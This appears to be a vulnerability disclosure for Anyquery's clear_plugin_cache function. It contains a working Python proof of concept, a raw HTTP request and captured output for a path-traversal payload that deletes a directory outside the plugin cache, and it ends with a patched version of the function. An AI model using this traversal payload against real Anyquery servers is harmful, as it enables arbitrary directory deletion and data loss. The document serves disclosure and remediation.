Anyquery EUVD-2026-77807

func clear_plugin_cache(plugin string) string {
	pathToRemove := pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin)

	if plugin == "" {
		return "The plugin name is empty"
	}

	// Remove the directory
	err := os.RemoveAll(pathToRemove)
	if err != nil {
		return err.Error()
	}

	return ""
}

docker build -f Dockerfile -t anyquery-vuln002 .
docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002

python3 poc.py

#!/usr/bin/env python3
"""PoC reproduction script - julien040/anyquery / VULN-002

Prerequisites:
    - Docker image built: docker build -f Dockerfile -t anyquery-vuln002 .
    - Container running:  docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002
    - Python packages: requests (stdlib subprocess also used)

How to run (from this report directory, after Dockerfile service is up):
    python3 poc.py

Expected on success:
    Final stdout line begins with `RESULT: PASS` confirming that the sentinel
    directory outside the cache root was deleted via clear_plugin_cache path traversal.
"""

import subprocess
import sys
import json
import requests

BASE_URL = "http://127.0.0.1:8070"
CONTAINER = "anyquery-vuln002"
# Traversal payload: XDG_CACHE_HOME=/root/.cache, so
# path.Join("/root/.cache","anyquery","plugins","../../../../tmp/poc_sentinel")
# resolves to /tmp/poc_sentinel (4 levels up escapes the cache root).
TRAVERSAL_PLUGIN = "../../../../tmp/poc_sentinel"
SENTINEL_PATH = "/tmp/poc_sentinel"
QUERY = f"SELECT clear_plugin_cache('{TRAVERSAL_PLUGIN}')"


def docker_exec(cmd):
    result = subprocess.run(
        ["docker", "exec", CONTAINER] + cmd,
        capture_output=True, text=True
    )
    return result.returncode, result.stdout, result.stderr


def sentinel_exists():
    rc, _, _ = docker_exec(["test", "-d", SENTINEL_PATH])
    return rc == 0
# Step 1: create sentinel inside container
print(f"[1] Creating sentinel directory {SENTINEL_PATH} inside container...")
rc, out, err = docker_exec(["mkdir", "-p", SENTINEL_PATH])
if rc != 0:
    sys.exit(f"RESULT: FAIL - could not create sentinel: {err}")
if not sentinel_exists():
    sys.exit("RESULT: FAIL - sentinel not present after mkdir")
print(f"    Sentinel created: {SENTINEL_PATH}")
# Step 2: confirm server is reachable
print("[2] Confirming server is reachable...")
try:
    r = requests.get(f"{BASE_URL}/list-tables", timeout=5)
    assert r.status_code == 200, f"unexpected status {r.status_code}"
    print(f"    GET /list-tables → HTTP {r.status_code} OK")
except Exception as e:
    sys.exit(f"RESULT: FAIL - server not reachable: {e}")
# Step 3: send traversal request
print("[3] Sending path-traversal payload via POST /execute-query...")
payload = {"query": QUERY}
r = requests.post(
    f"{BASE_URL}/execute-query",
    headers={"Content-Type": "application/json"},
    data=json.dumps(payload),
    timeout=10,
)
print(f"    HTTP {r.status_code}")
print(f"    Body: {r.text.strip()}")

if r.status_code != 200:
    sys.exit(f"RESULT: FAIL - unexpected HTTP status {r.status_code}")
# Step 4: verify sentinel is gone
print("[4] Checking whether sentinel was deleted inside container...")
if sentinel_exists():
    print(f"    Sentinel still present - traversal did not delete it.")
    print(f"RESULT: FAIL - {SENTINEL_PATH} still exists after traversal request")
else:
    print(f"    Sentinel GONE - {SENTINEL_PATH} deleted outside cache root.")
    print(f"RESULT: PASS - clear_plugin_cache('{TRAVERSAL_PLUGIN}') deleted {SENTINEL_PATH} (outside /root/.cache/anyquery/plugins/)")

POST /execute-query HTTP/1.1
Host: 127.0.0.1:8070
Content-Type: application/json

{"query": "SELECT clear_plugin_cache('../../../../tmp/poc_sentinel')"}

[1] Creating sentinel directory /tmp/poc_sentinel inside container...
    Sentinel created: /tmp/poc_sentinel
[2] Confirming server is reachable...
    GET /list-tables → HTTP 200 OK
[3] Sending path-traversal payload via POST /execute-query...
    HTTP 200
    Body: +----------------------------------------------------+
| clear_plugin_cache('../../../../tmp/poc_sentinel') |
+----------------------------------------------------+
|                                                    |
+----------------------------------------------------+
1 results
[4] Checking whether sentinel was deleted inside container...
    Sentinel GONE - /tmp/poc_sentinel deleted outside cache root.
RESULT: PASS - clear_plugin_cache('../../../../tmp/poc_sentinel') deleted /tmp/poc_sentinel (outside /root/.cache/anyquery/plugins/)

func clear_plugin_cache(plugin string) string {
    if plugin == "" {
        return "The plugin name is empty"
    }
    cacheRoot := pathlib.Join(xdg.CacheHome, "anyquery", "plugins")
    pathToRemove := pathlib.Join(cacheRoot, plugin)
    rel, err := filepath.Rel(cacheRoot, pathToRemove)
    if err != nil || strings.HasPrefix(rel, "..") || rel == ".." {
        return "Invalid plugin name"
    }
    if err := os.RemoveAll(pathToRemove); err != nil {
        return err.Error()
    }
    return ""
}